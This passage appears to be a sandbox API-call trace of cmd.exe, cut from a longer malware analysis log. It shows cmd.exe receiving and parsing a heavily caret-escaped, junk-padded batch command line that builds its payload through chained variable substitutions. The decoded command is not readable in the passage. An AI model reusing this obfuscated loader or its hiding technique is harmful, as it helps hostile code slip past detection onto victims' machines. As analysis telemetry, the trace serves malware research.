^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'="
	[0056.973] GetCommandLineW () returned="Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'="
	[0056.974] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.974] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b4910, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0056.974] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.974] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.974] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0056.974] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0056.974] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.974] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0056.974] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0056.974] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0056.974] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0056.974] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0056.975] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0056.975] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0056.975] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0056.975] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1af710 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.975] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1af710, lpFilePart=0x1af6f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1af6f0*="Desktop") returned 0x19
	[0056.975] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.975] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af420 | out: lpFindFileData=0x1af420) returned 0x2b4b20
	[0056.975] FindClose (in: hFindFile=0x2b4b20 | out: hFindFile=0x2b4b20) returned 1
	[0056.975] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1af420 | out: lpFindFileData=0x1af420) returned 0x2b4b20
	[0056.975] FindClose (in: hFindFile=0x2b4b20 | out: hFindFile=0x2b4b20) returned 1
	[0056.975] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1af420 | out: lpFindFileData=0x1af420) returned 0x2b4b20
	[0056.976] FindClose (in: hFindFile=0x2b4b20 | out: hFindFile=0x2b4b20) returned 1
	[0056.976] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.976] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0056.976] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0056.976] GetEnvironmentStringsW () returned 0x2b2770*
	[0056.976] FreeEnvironmentStringsW (penv=0x2b2770) returned 1
	[0056.976] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.977] _wcsnicmp (_String1="Csv", _String2=":ON", _MaxCount=0x3) returned 41
	[0056.978] GetConsoleOutputCP () returned 0x1b5
	[0056.978] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.978] GetUserDefaultLCID () returned 0x409
	[0056.978] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0056.978] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1af820, cchData=128 | out: lpLCData="0") returned 2
	[0056.978] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1af820, cchData=128 | out: lpLCData="0") returned 2
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1af820, cchData=128 | out: lpLCData="1") returned 2
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0056.979] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0056.979] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0056.980] GetConsoleTitleW (in: lpConsoleTitle=0x2b27e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.980] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.980] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0056.980] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0056.980] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0056.981] GetEnvironmentVariableW (in: lpName="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CD") returned -5
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="ERRORLEVEL") returned -7
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDEXTVERSION") returned -5
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDCMDLINE") returned -5
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="DATE") returned -6
	[0056.981] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="TIME") returned -22
	[0056.982] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="RANDOM") returned -20
	[0056.982] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.982] GetEnvironmentVariableW (in: lpName="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CD") returned -5
